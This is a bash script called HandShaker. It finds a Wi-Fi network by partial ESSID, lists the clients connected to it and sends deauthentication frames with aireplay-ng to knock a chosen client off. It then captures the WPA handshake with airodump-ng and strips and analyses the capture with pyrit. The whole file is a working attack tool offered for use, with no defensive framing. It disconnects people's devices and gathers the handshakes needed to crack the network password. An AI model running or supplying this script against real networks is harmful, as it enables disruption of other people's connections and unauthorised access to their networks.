shaker.sh

#!/bin/bash

fcap()
{
    CHKEX="0"
    fgather
    echo " [*] $CNT active clients found:"
    cat "$HOME"/jrifskf
    read -p ' [*] Please paste clent MAC: ' CLIE
    FILENAME="$BSSID""--""$RANDOM"
    FILENAME2="$BSSID""-""$RANDOM"".cap"
    gnome-terminal -x airodump-ng mon0 --bssid $BSSID -c $CHAN -w "$HOME"/Desktop/hs/$FILENAME --output-format pcap
    aireplay-ng -0 1 -a $BSSID -c $CLIE mon0
    sleep 3
    while [ true ]
        do
            clear
            read -p " [*] was the hanshake successfully captured? [Y/n]: " WASCAP
            if [ $WASCAP = "n" ]
                then
                    aireplay-ng -0 1 -a $BSSID -c $CLIE mon0
                    sleep 4
                else
                    killall airodump-ng
                    break
            fi
        done
    echo "[*] saving and stripping capture, please wait..."
    pyrit -r "$HOME"/Desktop/hs/"$FILENAME"-01.cap -o "$HOME"/Desktop/hs/$FILENAME2 strip
    clear
    rm "$HOME"/Desktop/hs/"$FILENAME"-01.cap
    airmon-ng stop mon0
    rm -rf new.csv
    rm -rf new2.csv
    rm -rf new3.csv
    rm -rf "$HOME"/filw*
    rm -rf "$HOME"/jrifsk*
    clear
    echo " [*] Handshake saved to "$HOME"/Desktop/hs/$FILENAME2"
    ISDN=$( du -b "$HOME"/Desktop/hs/$FILENAME2)
    BYTS=${ISDN:0:3}
    if [ $BYTS -gt 840 ]
        then
            echo " [*] Looks like handshake capture was successfull, Horray for you"
            echo
            pyrit -r "$HOME"/Desktop/hs/$FILENAME2 analyze
        else
            echo " [*] Looks like there may be a problem with captured handshake (capture packet too small)"
            echo
            pyrit -r "$HOME"/Desktop/hs/$FILENAME2 analyze
    fi
    exit
}

fexit()
{
            airmon-ng stop mon0
            rm -rf new.csv
            rm -rf new2.csv
            rm -rf new3.csv
            rm -rf "$HOME"/filw*
            rm -rf "$HOME"/jrifsk*
            exit
}

fhelp()
{
    clear
    echo """ HandShaker - detect, deauth and capture handshakes by ESSID
    Usage: handshaker x
            x - Partial unique ESSID (required)


    eg. handshaker BTHub3-F
"""
exit
}

fgather()
{
    rm -rf "$HOME"/jrif*
    CNT="0"
    clear
    echo ' [*] Please wait while I gather active stations..'
    gnome-terminal  -x airodump-ng mon0 --bssid $BSSID -c $CHAN -w "$HOME"/jrifskr
    sleep 7
    killall airodump-ng
    grep 'Station' -A 10 "$HOME"/jrifskr-01.csv > "$HOME"/jrifskp
    while read LINE
        do
            if [ ${LINE:0:4} != "Stat" ]
                then
                    echo ${LINE:0:17} >> "$HOME"/jrifskf
            fi
        done < "$HOME"/jrifskp
    clear
    while read LINE
        do
            case ${LINE:2:1} in
            ":")CNT=$(( CNT + 1 ));;
            esac
        done < "$HOME"/jrifskf
    if [ $CNT -lt 1 ]
        then
            fgather
    fi
}

rm -rf "$HOME"/filw*
trap fexit 2

if [ $# -lt 1 ]
    then
        fhelp
elif [ $1 = "--help" ]
    then
        fhelp
elif [ $1 = "-h" ]
    then
        fhelp
fi

CHKEX="1"
ESSID="$1"
SLP="30"
SCN="10"
STATSC="0"
MOND=$( ifconfig | grep mon0 | cut -c 1 )
mkdir -p "$HOME"/Desktop/hs

echo $MOND

if [ $MOND -z ]
    then
        clear
        echo " [*] Which interface do you want to use?:"
        echo
        iwconfig | grep wlan
        read -p "  :" NIC
    else
        NIC=mon0
fi

if [ $MOND -z ]
    then
        airmon-ng start $NIC
fi
clear
while [ true ]
    do
        gnome-terminal  -x airodump-ng mon0 -w "$HOME"/filw --output-format=csv
        echo "[*] Scanning..[*]"
        sleep $SCN
        killall airodump-ng
        DONE=$( cat "$HOME"/filw-01.csv | grep $ESSID )
        if [ $DONE -z ]
            then
                echo " [*] not found [*]"
                echo " [*] Sleeping $SLP seconds.."
                for (( SLP=$SLP; SLP>0; SLP--)); do
                sleep 1 &
                printf " [*] $SLP seconds remaining \r"
                wait
                done
            else
                csvtool col 4,14 "$HOME"/filw-01.csv > new2.csv
                csvtool col 1,14 "$HOME"/filw-01.csv > new3.csv

                if [ $(cat new2.csv | grep $ESSID | cut -c 2) = "," ]
                    then
                        CHAN=$(cat new2.csv | grep $ESSID | cut -c 1)
                    else
                        CHAN=$(cat new2.csv | grep $ESSID | cut -c 1-2)
                fi
                BSSID=$(cat new3.csv | grep $ESSID | cut -c 1-17)
                fcap
        fi
        sleep $SLP
    done